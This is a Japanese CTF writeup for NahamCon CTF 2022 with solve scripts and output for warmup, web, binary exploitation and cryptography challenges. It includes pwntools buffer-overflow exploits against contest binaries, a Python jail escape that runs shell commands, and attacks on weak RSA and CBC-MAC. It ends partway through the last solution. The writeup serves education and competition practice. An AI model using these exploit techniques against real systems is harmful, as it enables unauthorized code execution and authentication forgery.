NahamCon CTF 2022 Writeup

この大会は2022/4/29 4:00(JST)~2022/5/1 4:00(JST)に開催されました。
今回もチームで参戦。結果は6743点で3272チーム中63位でした。
自分で解けた問題をWriteupとして書いておきます。

Crash Override (Warmups)

$ file crash_override 
crash_override: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fecdd0eead2661c3811de1965ea881c620c7fe8b, for GNU/Linux 3.2.0, not stripped

BOFでwin関数をコールする。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('challenge.nahamcon.com', 31331)
else:
    p = process('./crash_override')

elf = ELF('./crash_override')

win_addr = elf.symbols['win']

payload = b'A' * 2056
payload += p64(win_addr)

data = p.recvline().rstrip().decode()
print(data)
print(payload)
p.sendline(payload)
data = p.recvline().rstrip().decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to challenge.nahamcon.com on port 31331: Done
[*] '/mnt/hgfs/Shared/crash_override'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
HACK THE PLANET!!!!!!
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x89\x12\x00\x00\x00\x00\x00\x00'
flag{de8b6655b538a0bf567b79a14f2669f6}
[*] Closed connection to challenge.nahamcon.com port 31331
flag{de8b6655b538a0bf567b79a14f2669f6}

Prisoner (Warmups)

$ ssh -p 31283 user@challenge.nahamcon.com
The authenticity of host '[challenge.nahamcon.com]:31283 ([34.123.79.100]:31283)' can't be established.
ECDSA key fingerprint is SHA256:Ui3hn8+316fHz2GZEHtmFc8CzoksXt+b1KjTA9z7fmI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[challenge.nahamcon.com]:31283,[34.123.79.100]:31283' (ECDSA) to the list of known hosts.
user@challenge.nahamcon.com's password: 

  _________________________
     ||   ||     ||   ||
     ||   ||, , ,||   ||
     ||  (||/|/(\||/  ||
     ||  ||| _'_`|||  ||
     ||   || o o ||   ||
     ||  (||  - `||)  ||
     ||   ||  =  ||   ||
     ||   ||\___/||   ||
     ||___||) , (||___||
    /||---||-\_/-||---||\
   / ||--_||_____||_--|| \
  (_(||)-| SP1337 |-(||)_)
          --------

Hello prisoner, welcome to jail.
Don't get any ideas, there is no easy way out!
: ls

何も表示されない。適当に文字を入れても同じ。Ctrl + Dを押してみる。

: Traceback (most recent call last):
  File "/home/user/jail.py", line 27, in <module>
    input(": ")
EOFError
>>> 

pyjailの問題かも。

>>> __builtins__.__dict__['__import__']('os').__dict__['system']('ls')
flag.txt  jail.py
0
>>> __builtins__.__dict__['__import__']('os').__dict__['system']('cat flag.txt')
flag{c31e05a24493a202fad0d1a827103642}
0
flag{c31e05a24493a202fad0d1a827103642}

Wizard (Warmups)

$ nc challenge.nahamcon.com 32408

/------------------------------------------\
| Why hello passerby. I see you wish to    |
| pass, however you must answer my six     |
| questions correctly in order to do so.   |
\---------------  -------------------------/
                \/
              _,._      
  .||,       /_ _\\     
 \.`',/      |'L'| |    
 = ,. =      | -,| L    
 / || \    ,-'\"/,'`.   
   ||     ,'   `,,. `.  
   ,|____,' , ,;' \| |  
  (3|\    _/|/'   _| |  
   ||/,-''  | >-'' _,\\ 
   ||'      ==\ ,-'  ,' 
   ||       |  V \ ,|   
   ||       |    |` |   
   ||       |    |   \  
   ||       |    \    \ 
   ||       |     |    \
   ||       |      \_,-'
   ||       |___,,--")_\
   ||         |_|   ccc/
   ||        ccc/       
   ||                   

First Question: What is the ASCII plaintext corresponding to this binary string? 
010110100110010101110010011011110111001100100000001001100010000001001111011011100110010101110011

pt = 

デコードする問題が出題されるようだ。問題は以下の順で出題された。

1st: 2進数
2nd: 16進数
3rd: 8進数→数値の文字列化
4th: 数値の文字列化
5th: base64
6th: 16進数(リトルエンディアン)
#!/usr/bin/env python3
import socket
from Crypto.Util.number import *
from base64 import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challenge.nahamcon.com', 32408))

data = recvuntil(s, b'pt = ')
print(data, end='')

enc = data.split('\n')[-3]
pt = ''.join([chr(int(enc[i:i+8], 2)) for i in range(0, len(enc), 8)])
print(pt)
s.sendall(pt.encode() + b'\n')

data = recvuntil(s, b'pt = ')
print(data, end='')

enc = data.split('\n')[-3]
pt = bytes.fromhex(enc).decode()
print(pt)
s.sendall(pt.encode() + b'\n')

data = recvuntil(s, b'pt = ')
print(data, end='')

enc = data.split('\n')[-3]
pt = long_to_bytes(int(enc, 8)).decode()
print(pt)
s.sendall(pt.encode() + b'\n')

data = recvuntil(s, b'pt = ')
print(data, end='')

enc = data.split('\n')[-3]
pt = long_to_bytes(int(enc)).decode()
print(pt)
s.sendall(pt.encode() + b'\n')

data = recvuntil(s, b'pt = ')
print(data, end='')

enc = data.split('\n')[-3]
pt = b64decode(enc).decode()
print(pt)
s.sendall(pt.encode() + b'\n')

data = recvuntil(s, b'= ')
print(data, end='')

enc = data.split('\n')[-3]
pt = bytes.fromhex(enc)[::-1].decode()
print(pt)
s.sendall(pt.encode() + b'\n')

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

/------------------------------------------\
| Why hello passerby. I see you wish to    |
| pass, however you must answer my six     |
| questions correctly in order to do so.   |
\---------------  -------------------------/
                \/
              _,._
  .||,       /_ _\\
 \.`',/      |'L'| |
 = ,. =      | -,| L
 / || \    ,-'\"/,'`.
   ||     ,'   `,,. `.
   ,|____,' , ,;' \| |
  (3|\    _/|/'   _| |
   ||/,-''  | >-'' _,\\
   ||'      ==\ ,-'  ,'
   ||       |  V \ ,|
   ||       |    |` |
   ||       |    |   \
   ||       |    \    \
   ||       |     |    \
   ||       |      \_,-'
   ||       |___,,--")_\
   ||         |_|   ccc/
   ||        ccc/
   ||

First Question: What is the ASCII plaintext corresponding to this binary string?
010110100110010101110010011011110111001100100000001001100010000001001111011011100110010101110011

pt = Zeros & Ones

Second Question: What is the ASCII plaintext corresponding to this hex string?
4f6820776f77777721204261736520313020697320636f6f6c20616e6420616c6c2062757420486578787878

pt = Oh wowww! Base 10 is cool and all but Hexxxx

Third Question: What is the ASCII plaintext corresponding to this octal string?
(HINT: octal -> int -> hex -> chars)
535451006154133420162312701623127154533472040334725553046256234620151334201413347444030460563312201673122016730267164

pt = We can represent numbers in any base we want

Fourth Question: What is the ACII representation of this integer?
(HINT: int -> hex -> chars)
8889185069805239596091046045687553579520816794635237831028832039457

pt = This is one big 'ol integer!

Fifth Question: What is the ASCII plaintext of this Base64 string?
QmFzZXMgb24gYmFzZXMgb24gYmFzZXMgb24gYmFzZXMgOik=

pt = Bases on bases on bases on bases :)

Last Question: What is the Big-Endian representation of this Little-Endian hex string?
293a2065636e657265666669642065687420776f6e6b206f7420646f6f672073277449

plaintext (Big-Endian) = It's good to know the difference :)

Very well, my friend. Here is your reward for your witts: flag{c2ed35aba037cd93381b298caa2720ee}
flag{c2ed35aba037cd93381b298caa2720ee}

Flagcat (Warmups)

$ cat flagcat
 ---------------------------------------- 
| flag{ab3cbaf45def9056dbfad706d597fb53} |
 ----------------------------------------
        ||
 (\__/) ||
 (•ㅅ•) //
 /   づ

flag{ab3cbaf45def9056dbfad706d597fb53}
flag{ab3cbaf45def9056dbfad706d597fb53}

Read The Rules (Warmups)

ルールのページのHTMLソースを見ると、コメントにフラグが書いてあった。

<!-- Thank you for reading the rules! Your flag is: -->
<!--   flag{90bc54705794a62015369fd8e86e557b}       -->
flag{90bc54705794a62015369fd8e86e557b}

Technical Support (Warmups)

Discordに入り、#ctf-helpチャネルのトピックを見ると、フラグが書いてあった。

The GIF, meme, and emoji spam party! Oh yeah -- and CTF technical support, too. 
..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
Here's a flag, by the way! :) flag{081fef2f11f3eec6059e3da9117ad3f0}
flag{081fef2f11f3eec6059e3da9117ad3f0}

Exit Vim (Warmups)

$ ssh -p 32347 user@challenge.nahamcon.com
The authenticity of host '[challenge.nahamcon.com]:32347 ([34.123.79.100]:32347)' can't be established.
ECDSA key fingerprint is SHA256:VRizncxQmM5qnc35WTXH0Ojj4+mWyAWbnkzsgRbpoEE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[challenge.nahamcon.com]:32347,[34.123.79.100]:32347' (ECDSA) to the list of known hosts.
user@challenge.nahamcon.com's password: 

flag{ccf443b43322be5659150eac8bb2a18c}
Connection to challenge.nahamcon.com closed.

パスワードを入力すると、Readonlyでviの画面になる。そこで:qで抜けると、フラグが表示された。

flag{ccf443b43322be5659150eac8bb2a18c}

Quirky (Warmups)

"\x[16進数]"の形式の文字列がたくさん入っており、pngのバイナリをASCIIで表現していることがわかる。バイナリに復元し、pngファイルにする。

#!/usr/bin/env python3
with open('quirky', 'r') as f:
    data = f.read()

png = b''
for i in range(0, len(data), 4):
    png += bytes([int(data[i+2:i+4], 16)])

with open('flag.png', 'wb') as f:
    f.write(png)


png画像はQR画像になっているので、デコードすると、フラグになった。

flag{b7e2a32f5ae629dcfb1ac210d1f0c032}

Jurassic Park (Web)

http://challenge.nahamcon.com:31171/robots.txtにアクセスすると、こう書いてあった。

User-agent: *
Disallow: /ingen/

http://challenge.nahamcon.com:31171/ingen/にアクセスすると、インデックス一覧にflag.txtへのリンクがある。このリンクにアクセスすると、フラグが表示された。

flag{c2145f65df7f5895822eb249e25028fa}

Babiersteps (Binary Exploitation)

$ file babiersteps 
babiersteps: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5dfaf4bb792d3e47f45df4ad36b56c07822b7a70, for GNU/Linux 3.2.0, not stripped

Ghidraでデコンパイルする。

undefined8 main(void)

{
  undefined local_78 [112];
  
  puts("Everyone has heard of gets, but have you heard of scanf?");
  __isoc99_scanf(&DAT_00402049,local_78);
  return 0;
}

void win(void)

{
  execve("/bin/sh",(char **)0x0,(char **)0x0);
  return;
}

BOFでwin関数をコールする。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('challenge.nahamcon.com', 32607)
else:
    p = process('./babiersteps')

elf = ELF('./babiersteps')

win_addr = elf.symbols['win']

payload = b'A' * 120
payload += p64(win_addr)

data = p.recvline().rstrip().decode()
print(data)
print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to challenge.nahamcon.com on port 32607: Done
[*] '/mnt/hgfs/Shared/babiersteps'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Everyone has heard of gets, but have you heard of scanf?
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc9\x11@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
$ ls
babiersteps
bin
dev
etc
flag.txt
lib
lib32
lib64
libx32
usr
$ cat flag.txt
flag{4dc0a785da36bfcf0e597917b9144fd6}
flag{4dc0a785da36bfcf0e597917b9144fd6}

XORROX (Cryptography)

暗号処理の概要は以下の通り。

・key: flagの長さの1~256のランダム整数配列
・xorrox: [1, xorrox[0] ^ key[1], xorrox[1] ^ key[2], ...] →出力
・enc: [flag[0] ^ key[0], flag[1] ^ key[1], ...] →出力

xorroxからkeyを求め、flagを割り出す。

#!/usr/bin/env python3
xorrox = [1, 209, 108, 239, 4, 55, 34, 174, 79, 117, 8, 222, 123, 99, 184, 202, 95, 255, 175, 138, 150, 28, 183, 6, 168, 43, 205, 105, 92, 250, 28, 80, 31, 201, 46, 20, 50, 56]
enc = [26, 188, 220, 228, 144, 1, 36, 185, 214, 11, 25, 178, 145, 47, 237, 70, 244, 149, 98, 20, 46, 187, 207, 136, 154, 231, 131, 193, 84, 148, 212, 126, 126, 226, 211, 10, 20, 119]

key = [ord('f') ^ enc[0]]
for i in range(len(xorrox) - 1):
    key.append(xorrox[i] ^ xorrox[i + 1])

flag = ''
for i in range(len(enc)):
    flag += chr(enc[i] ^ key[i])
print(flag)
flag{21571dd4764a52121d94deea22214402}

Unimod (Cryptography)

0以上0xFFFD未満の範囲でシフトした、UNICODEを使った暗号になっている。フラグは"f"から始まることを前提にシフト数を算出し、復号する。

#!/usr/bin/env python3
with open('out', encoding='utf-8') as f:
    enc = f.read()

k = ord(enc[0]) - ord('f')

flag = ''
for c in enc:
    flag += chr(ord(c) - k)
print(flag)
flag{4e68d16a61bc2ea72d5f971344e84f11}

Baby RSA Quiz (Cryptography)

$ nc challenge.nahamcon.com 30380

Welcome to the Baby RSA Quiz! 

Choose Option 0 if you're asking yourself "what in the world is RSA?" or maybe want to run through the basics.
Choose Option 1 if you're comfortable with RSA, feel free to skip to the quiz
Choose Option 2 if Rivest, Shamir, or Adleman hurt your feelings, feel free to exit the program 


/------------------------\
| Baby RSA MENU:         |
| (0) Teach me some RSA! | 
| (1) Skip to quiz       |
| (2) Quit               |
\------------------------/

Choice: 1

___________________________________________________________________________________

I see you are ready to take my quiz! This quiz is comprised of three parts with 
each part giving you a poor implementation of RSA. If you are unfamiliar with any 
of these values given, it might be worthwhile to check out option 0 in the main 
menu.

 ---------
| Part 1: |
 ---------
n = 183179313325829
e = 65537
ct = 106411454876432

What is the plaintext (in integer form)?

RSA暗号に関する問題が何問か出題されるようだ。1問ずつ問題のタイプを見て、解いていく。
結果以下のようにして解くことができた。

Part1: それほど大きくないnを素因数分解して復号する。
Part2: nがctに比べて極度に大きく、eが小さいため、Low Public-Exponent Attackで復号する。
Part3: p, qの値が近いと推測できるため、Fermat法でnを素因数分解し復号する。
#!/usr/bin/env python3
import socket
import sympy
import gmpy2
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def isqrt(n):
    x = n
    y = (x + n // x) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def fermat(n):
    x = isqrt(n) + 1
    y = isqrt(x * x - n)
    while True:
        w = x * x - n - y * y
        if w == 0:
            break
        elif w > 0:
            y += 1
        else:
            x += 1
    return x - y, x + y

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challenge.nahamcon.com', 30380))

data = recvuntil(s, b': ')
print(data + '1')
s.sendall(b'1\n')

#### Part 1 ####
data = recvuntil(s, b'? ')
print(data, end='')
n = int(data.split('\n')[-5].split(' ')[-1])
e = int(data.split('\n')[-4].split(' ')[-1])
ct = int(data.split('\n')[-3].split(' ')[-1])

fac = sympy.factorint(n)
phi = 1
for p in fac.keys():
    phi *= p - 1
d = inverse(e, phi)
m = pow(ct, d, n)
print(m)
s.sendall(str(m).encode() + b'\n')

#### Part 2 ####
data = recvuntil(s, b'? ')
print(data, end='')
n = int(data.split('\n')[-5].split(' ')[-1])
e = int(data.split('\n')[-4].split(' ')[-1])
ct = int(data.split('\n')[-3].split(' ')[-1])

m, ok = gmpy2.iroot(ct, e)
assert ok == True
print(m)
s.sendall(str(m).encode() + b'\n')

#### Part 3 ####
data = recvuntil(s, b'? ')
print(data, end='')
n = int(data.split('\n')[-5].split(' ')[-1])
e = int(data.split('\n')[-4].split(' ')[-1])
ct = int(data.split('\n')[-3].split(' ')[-1])

p, q = fermat(n)
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, n)
print(m)
s.sendall(str(m).encode() + b'\n')

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

Welcome to the Baby RSA Quiz!

Choose Option 0 if you're asking yourself "what in the world is RSA?" or maybe want to run through the basics.
Choose Option 1 if you're comfortable with RSA, feel free to skip to the quiz
Choose Option 2 if Rivest, Shamir, or Adleman hurt your feelings, feel free to exit the program


/------------------------\
| Baby RSA MENU: 1
        |
| (0) Teach me some RSA! |
| (1) Skip to quiz       |
| (2) Quit               |
\------------------------/

Choice:
___________________________________________________________________________________

I see you are ready to take my quiz! This quiz is comprised of three parts with 
each part giving you a poor implementation of RSA. If you are unfamiliar with any
of these values given, it might be worthwhile to check out option 0 in the main 
menu.

 ---------
| Part 1: |
 ---------
n = 159191162466053
e = 65537
ct = 99385601863184

What is the plaintext (in integer form)? 1751476325

___________________________________________________________________________________

Nice job on the first part! Those numbers weren't really as big as we thought.

 ---------
| Part 2: |
 ---------
n = 24984016574165091383659121350372722844491792441558268627623314282188075417213017730388217530387201825717484477718246661857514551807383331824072796597678533394000156642229787094718952087018940674952143644690939527128361667235104513497676419390682320111172511291850694812189329931706938398634572906218360147166662125192644541976968379566064657631961257431583206870631035843799483405172084644858468877677969150232809160423382688368920429057630928695628126301190789044195679767351589466345828651337802157728006421315029106465101298622603130118834498134842499088538282609982410403163248819067499191302752920116031137974037
e = 3
ct = 26480272848384180570411447917437668635135597564435407928130220812155801611065536704781892656033726277516148813916446180796750368332515779970289682282804676030149428215146347671350240386440440048832713595112882403831539777582778645411270433913301224819057222081543727263602678819745693540865806160910293144052079393615890645460901858988883318691997438568705602949652125

What is the plaintext (in integer form)? 298062599825784604055397390266655425259311588881437826967301557850952291872230439875703282133697119479127924133583415243365

___________________________________________________________________________________

The small-e attack is a classic! Although making e = 3 may make calculations
quicker, it is definitely not secure.

 ---------
| Part 3: |
 ---------
q = p + 2
while !(isPrime(q)):
    q += 2
n = p*q


n = 125253052309723515584399398245796956152920632334318032203282566821486493046077868726134318624025089938513384034656193110767299719634775553784162644522384365838080248965701000989606989222007684908831838126823273831721995120121403482982460915710770748895536436284303294739603553819376912637466336366803139597509
e = 65537
ct = 45120659514410298868640908059287900497543551528148114446292389917871380747934695142564288284428054559394115532707340863106560612572251025725020670321936839902721578278074954438908394211946812264915530464170847385355154995286098080957850099022266261656195443326388240407695542251698589095606905347893036630625

What is the plaintext (in integer form)? 4389692525618482461496676054452486268288388260878585075412513298672841265430477651614481831919140832735218408683300129

Congratulations - you have passed my quiz. Here is your flag: flag{5bf62a062e66a7fb37304e1b11643c08}
flag{5bf62a062e66a7fb37304e1b11643c08}

MAC and Cheese (Cryptography)

$ nc challenge.nahamcon.com 30134
Welcome to the cheese community. How may we cheese you today?


CHEESY MENU:
(0) Tell me about the effect of dimensional transcendence on mozzarella cheese. (strap in for this one)
(1) Give me a MAC for my cheese (we will send a CBC-MAC of your message)
(2) Verify my cheese (will return confirmation that CBC-MAC(message) == tag) 
(3) Quit (I don't liek cheese)

Which would you like to do? 1
 ----------------
| CBC-MAC Oracle |
 ----------------

Send me a message that is exactly 7 blocks (16*7 bytes) in size and I will tell you the tag (CBC-MAC) for it.
Messages should be sent in byte format and the tag will be sent back in hex format.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
CBC-MAC(msg): c422a43e1619370a8f4e4c2a3d24c683



CHEESY MENU:
(0) Tell me about the effect of dimensional transcendence on mozzarella cheese. (strap in for this one)
(1) Give me a MAC for my cheese (we will send a CBC-MAC of your message)
(2) Verify my cheese (will return confirmation that CBC-MAC(message) == tag) 
(3) Quit (I don't liek cheese)

Which would you like to do? 2
 ----------------------
| Verification Oracle |
 ----------------------

Send me a message and it's tag to verify that you belong to the cheese community
The format message and tag format should be [message][tag] without the brackets of course.
The message should be at least one block (16 bytes) and the tag should be 16 bytes.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc422a43e1619370a8f4e4c2a3d24c683
incorrect tag for message provided.
Message = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc422a43e1619370a'
Tag = b'8f4e4c2a3d24c683'
Length = 144

CHEESY MENU:
(0) Tell me about the effect of dimensional transcendence on mozzarella cheese. (strap in for this one)
(1) Give me a MAC for my cheese (we will send a CBC-MAC of your message)
(2) Verify my cheese (will return confirmation that CBC-MAC(message) == tag) 
(3) Quit (I don't liek cheese)

Which would you like to do?

7ブロック分のCBC-MACが取得できることを利用して、8ブロック分のCBC-MACをメッセージと合わせ、認証する必要がある。

平文1ブロック目 ^ IV(0)           --(AES暗号)--> 暗号1ブロック目
平文2ブロック目 ^ 暗号1ブロック目 --(AES暗号)--> 暗号2ブロック目
平文3ブロック目 ^ 暗号2ブロック目 --(AES暗号)--> 暗号3ブロック目
平文4ブロック目 ^ 暗号3ブロック目 --(AES暗号)--> 暗号4ブロック目
平文5ブロック目 ^ 暗号4ブロック目 --(AES暗号)--> 暗号5ブロック目
平文6ブロック目 ^ 暗号5ブロック目 --(AES暗号)--> 暗号6ブロック目
平文7ブロック目 ^ 暗号6ブロック目 --(AES暗号)--> 暗号7ブロック目(->tag)

平文1ブロック目 ^ IV(0)           --(AES暗号)--> 暗号1ブロック目
平文2ブロック目 ^ 暗号1ブロック目 --(AES暗号)--> 暗号2ブロック目
平文3ブロック目 ^ 暗号2ブロック目 --(AES暗号)--> 暗号3ブロック目
平文4ブロック目 ^ 暗号3ブロック目 --(AES暗号)--> 暗号4ブロック目
平文5ブロック目 ^ 暗号4ブロック目 --(AES暗号)--> 暗号5ブロック目
平文6ブロック目 ^ 暗号5ブロック目 --(AES暗号)--> 暗号6ブロック目
平文7ブロック目 ^ 暗号6ブロック目 --(AES暗号)--> 暗号7ブロック目(->tag)
平文8ブロック目 ^ 暗号7ブロック目 --(AES暗号)--> 暗号8ブロック目
        :

平文8ブロック目 = 暗号7ブロック目 ^ 平文1ブロック目となるように指定すると、以下のようになる。

平文1ブロック目 ^ IV(0)           --(AES暗号)--> 暗号1ブロック目
平文2ブロック目 ^ 暗号1ブロック目 --(AES暗号)--> 暗号2ブロック目
平文3ブロック目 ^ 暗号2ブロック目 --(AES暗号)--> 暗号3ブロック目
平文4ブロック目 ^ 暗号3ブロック目 --(AES暗号)--> 暗号4ブロック目
平文5ブロック目 ^ 暗号4ブロック目 --(AES暗号)--> 暗号5ブロック目
平文6ブロック目 ^ 暗号5ブロック目 --(AES暗号)--> 暗号6ブロック目
平文7ブロック目 ^ 暗号6ブロック目 --(AES暗号)--> 暗号7ブロック目(->tag)
平文8ブロック目 ^ 暗号7ブロック目 --(AES暗号)--> 暗号1ブロック目
平文2ブロック目 ^ 暗号1ブロック目 --(AES暗号)--> 暗号2ブロック目
平文3ブロック目 ^ 暗号2ブロック目 --(AES暗号)--> 暗号3ブロック目
平文4ブロック目 ^ 暗号3ブロック目 --(AES暗号)--> 暗号4ブロック目
平文5ブロック目 ^ 暗号4ブロック目 --(AES暗号)--> 暗号5ブロック目
平文6ブロック目 ^ 暗号5ブロック目 --(AES暗号)--> 暗号6ブロック目
平文7ブロック目 ^ 暗号6ブロック目 --(AES暗号)--> 暗号7ブロック目(->tag)

これを7回繰り返せば、同じタグで対応できるはず。

#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challenge.nahamcon.com', 30134))

data = recvuntil(s, b'do? ')
print(data + '1')
s.sendall(b'1\n')
data = recvuntil(s, b'format.\n').rstrip()
print(data)
msg = 'A' * (16 * 7)
print(msg)
s.sendall(msg.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
tag = bytes.fromhex(data.split(' ')[-1])

data = recvuntil(s, b'do? ')
print(data + '2')
s.sendall(b'2\n')
data = recvuntil(s, b'bytes.\n').rstrip()
print(data)

msg_tag = msg.encode()
for _ in range(7):
    msg_tag += strxor(tag, msg.encode()[:16])
    msg_tag += msg.encode()[16:]
msg_tag += tag
print(msg_tag)
s.sendall(msg_tag + b'\n')
for _ in range(6):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

実行結果は以下の通り。

Welcome to the cheese community. How may we cheese you today?


CHEESY MENU:
(0) Tell me about the effect of dimensional transcendence on mozzarella cheese. (strap in for this one)
(1) Give me a MAC for my cheese (we will send a CBC-MAC of your message)
(2) Verify my cheese (will return confirmation that CBC-MAC(message) == tag)
(3) Quit (I don't liek cheese)

Which would you like to do? 1
 ----------------
| CBC-MAC Oracle |
 ----------------

Send me a message that is exactly 7 blocks (16*7 bytes) in size and I will tell you the tag (CBC-MAC) for it.
Messages should be sent in byte format and the tag will be sent back in hex format.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
CBC-MAC(msg): c422a43e1619370a8f4e4c2a3d24c683



CHEESY MENU:
(0) Tell me about the effect of dimensional transcendence on mozzarella cheese. (strap in for this one)
(1) Give me a MAC for my cheese (we will send a CBC-MAC of your message)
(2) Verify my cheese (will return confirmation that CBC-MAC(message) == tag)
(3) Quit (I don't liek cheese)

Which would you like to do? 2
 ----------------------
| Verification Oracle |
 ----------------------

